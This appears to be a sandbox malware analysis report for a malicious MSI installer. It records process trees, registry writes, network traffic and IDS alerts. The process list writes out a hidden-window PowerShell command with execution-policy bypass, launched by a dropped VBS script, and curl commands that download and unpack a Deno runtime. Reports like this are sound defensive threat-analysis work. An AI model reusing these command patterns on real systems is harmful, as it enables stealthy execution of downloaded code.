| File name: | _7c30c16e7a311dc0cdb1cdfd9ea6e502f44c027328dbe7d960b9bcd85ccf5eef.fpx |
| Full analysis: | https://app.any.run/tasks/635099a7-6185-4d91-b19f-5bd3eac7b569 |
| Verdict: | Malicious activity |
| Analysis date: | March 04, 2026, 14:24:39 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-msi |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Serial, Author: echo_tool89, Keywords: Installer, Comments: Serial, Template: Intel;1033, Create Time/Date: Sun Feb 1 22:46:13 2026, Last Saved Time/Date: Sun Feb 1 22:46:13 2026, Number of Pages: 500, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (), Security: 2, Revision Number: {A8D44A44-7B49-B577-D51B-BA0F89533579} |
| MD5: | C23FC7B74370D590223D962727E67907 |
| SHA1: | 2E1CC87D974AA7F07A8911C631A191DC00535B36 |
| SHA256: | 7C30C16E7A311DC0CDB1CDFD9EA6E502F44C027328DBE7D960B9BCD85CCF5EEF |
| SSDEEP: | 384:KjvaAzBMey3M5UC0qEXddGSo2fp+vWwd/aF:Kv6eWMmCgx2d/a |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7696)
Changes powershell execution policy (Bypass)
- wscript.exe (PID: 3192)
SUSPICIOUS
Executes as Windows Service
- VSSVC.exe (PID: 3516)
The process executes VB scripts
- wscript.exe (PID: 3192)
The process executes Powershell scripts
- powershell.exe (PID: 7696)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 3192)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 3192)
Runs shell command (SCRIPT)
- wscript.exe (PID: 3192)
Creates FileSystem object to access computer's file system (SCRIPT)
- wscript.exe (PID: 3192)
Gets full path of the running script (SCRIPT)
- wscript.exe (PID: 3192)
The process hide an interactive prompt from the user
- wscript.exe (PID: 3192)
Bypass execution policy to execute commands
- powershell.exe (PID: 7696)
Possible abuse of Deno runtime
- powershell.exe (PID: 7696)
INFO
Checks supported languages
- msiexec.exe (PID: 8912)
- curl.exe (PID: 6036)
- curl.exe (PID: 6068)
- tar.exe (PID: 6344)
Reads the computer name
- msiexec.exe (PID: 8912)
- curl.exe (PID: 6036)
- curl.exe (PID: 6068)
Manages system restore points
- SrTasks.exe (PID: 7180)
Drops script file
- powershell.exe (PID: 7696)
- msiexec.exe (PID: 8504)
- wscript.exe (PID: 3192)
Checks proxy server information
- powershell.exe (PID: 7696)
- slui.exe (PID: 8748)
Disables trace logs
- powershell.exe (PID: 7696)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7696)
Execution of CURL command
- powershell.exe (PID: 7696)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 7696)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .mst | | | Windows SDK Setup Transform Script (88.7) |
|---|---|---|
| .msi | | | Microsoft Installer (100) |
EXIF
FlashPix
| CodePage: | Windows Latin 1 (Western European) |
|---|---|
| Title: | Installation Database |
| Subject: | Serial |
| Author: | echo_tool89 |
| Keywords: | Installer |
| Comments: | Serial |
| Template: | Intel;1033 |
| CreateDate: | 2026:02:01 22:46:13 |
| ModifyDate: | 2026:02:01 22:46:13 |
| Pages: | 500 |
| Words: | 10 |
| Software: | Windows Installer XML Toolset () |
| Security: | Read-only recommended |
| RevisionNumber: | {A8D44A44-7B49-B577-D51B-BA0F89533579} |
Total processes
160
Monitored processes
12
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3192 | wscript.exe "C:\Users\admin\AppData\Local\Serial\Lynx_system59.vbs" | C:\Windows\System32\wscript.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 3516 | C:\WINDOWS\system32\vssvc.exe | C:\Windows\System32\VSSVC.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6036 | "C:\WINDOWS\system32\curl.exe" -s https://dl.deno.land/release-latest.txt | C:\Windows\System32\curl.exe | powershell.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 35 Version: 8.4.0 Modules
| |||||||||||||||
| 6068 | "C:\WINDOWS\system32\curl.exe" -Lo C:\Users\admin\.deno\bin\deno.zip https://dl.deno.land/release//deno-x86_64-pc-windows-msvc.zip | C:\Windows\System32\curl.exe | powershell.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| 6344 | "C:\WINDOWS\system32\tar.exe" xf C:\Users\admin\.deno\bin\deno.zip -C C:\Users\admin\.deno\bin | C:\Windows\System32\tar.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: bsdtar archive tool Exit code: 1 Version: 3.5.2 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6612 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | SrTasks.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7180 | C:\WINDOWS\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:15 | C:\Windows\System32\SrTasks.exe | — | msiexec.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Windows System Protection background tasks. Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7696 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\admin\AppData\Local\Serial\python85.ps1" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 8272 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 8504 | "C:\Windows\System32\msiexec.exe" /i C:\Users\admin\Desktop\_7c30c16e7a311dc0cdb1cdfd9ea6e502f44c027328dbe7d960b9bcd85ccf5eef.fpx.msi | C:\Windows\System32\msiexec.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
11 253
Read events
11 096
Write events
148
Delete events
9
Modification events
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore |
| Operation: | write | Name: | SrCreateRp (Enter) |
Value: 4800000000000000A8CA6FA9E2ABDC01D022000058190000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Enter) |
Value: 4800000000000000A8CA6FA9E2ABDC01D022000058190000D20700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Leave) |
Value: 48000000000000003352B7A9E2ABDC01D022000058190000D20700000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Enter) |
Value: 48000000000000003352B7A9E2ABDC01D022000058190000D10700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Leave) |
Value: 48000000000000001FB4B9A9E2ABDC01D022000058190000D10700000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP |
| Operation: | write | Name: | LastIndex |
Value: 15 | |||
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGatherWriterMetadata (Enter) |
Value: 4800000000000000B328CFA9E2ABDC01D022000058190000D30700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (8912) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\VssapiPublisher |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000158BD1A9E2ABDC01D022000048180000E8030000010000000000000000000000385E99561A800F4BB28A866DC7C3EB7500000000000000000000000000000000 | |||
| (PID) Process: | (3516) VSSVC.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000AD76DDA9E2ABDC01BC0D0000B8190000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3516) VSSVC.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000AD76DDA9E2ABDC01BC0D0000AC1A0000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
71
TCP/UDP connections
56
DNS requests
22
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
7544 | RUXIMICS.exe | GET | 200 | 23.52.181.212:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | US | binary | 814 b | whitelisted |
— | — | POST | 403 | 23.52.181.212:443 | https://go.microsoft.com/fwlink/?LinkID=2257403&clcid=0x409 | US | text | 386 b | whitelisted |
— | — | POST | 403 | 23.52.181.212:443 | https://go.microsoft.com/fwlink/?LinkID=2257403&clcid=0x409 | US | binary | 386 b | whitelisted |
— | — | POST | 200 | 20.190.159.130:443 | https://login.live.com/RST2.srf | US | binary | 10.3 Kb | whitelisted |
— | — | POST | 200 | 20.190.160.14:443 | https://login.live.com/RST2.srf | US | text | 11.1 Kb | whitelisted |
— | — | POST | 403 | 23.52.181.212:443 | https://go.microsoft.com/fwlink/?LinkID=2257403&clcid=0x409 | US | binary | 386 b | whitelisted |
6768 | MoUsoCoreWorker.exe | GET | 200 | 23.52.181.212:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | US | binary | 814 b | whitelisted |
— | — | POST | 403 | 23.52.181.212:443 | https://go.microsoft.com/fwlink/?LinkID=2257403&clcid=0x409 | US | binary | 386 b | whitelisted |
— | — | POST | 200 | 20.190.159.129:443 | https://login.live.com/RST2.srf | US | text | 10.3 Kb | whitelisted |
— | — | GET | 301 | 69.67.170.170:443 | https://deno.com/install.ps1 | CA | — | — | — |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | Not routed | — | whitelisted |
6768 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
3208 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7544 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | Not routed | — | whitelisted |
7544 | RUXIMICS.exe | 2.16.164.120:80 | crl.microsoft.com | AKAMAI-ASN1 | NL | whitelisted |
7544 | RUXIMICS.exe | 23.52.181.212:80 | www.microsoft.com | AKAMAI-AS | US | whitelisted |
6768 | MoUsoCoreWorker.exe | 23.52.181.212:80 | www.microsoft.com | AKAMAI-AS | US | whitelisted |
356 | svchost.exe | 20.190.160.64:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
self.events.data.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
deno.land |
| unknown |
deno.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
7544 | RUXIMICS.exe | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |
7696 | powershell.exe | Potentially Bad Traffic | ET INFO PS1 Powershell File Request |
7696 | powershell.exe | Potentially Bad Traffic | ET INFO PS1 Powershell File Request |
7696 | powershell.exe | Potentially Bad Traffic | ET INFO PS1 Powershell File Request |
7696 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
7696 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
7696 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |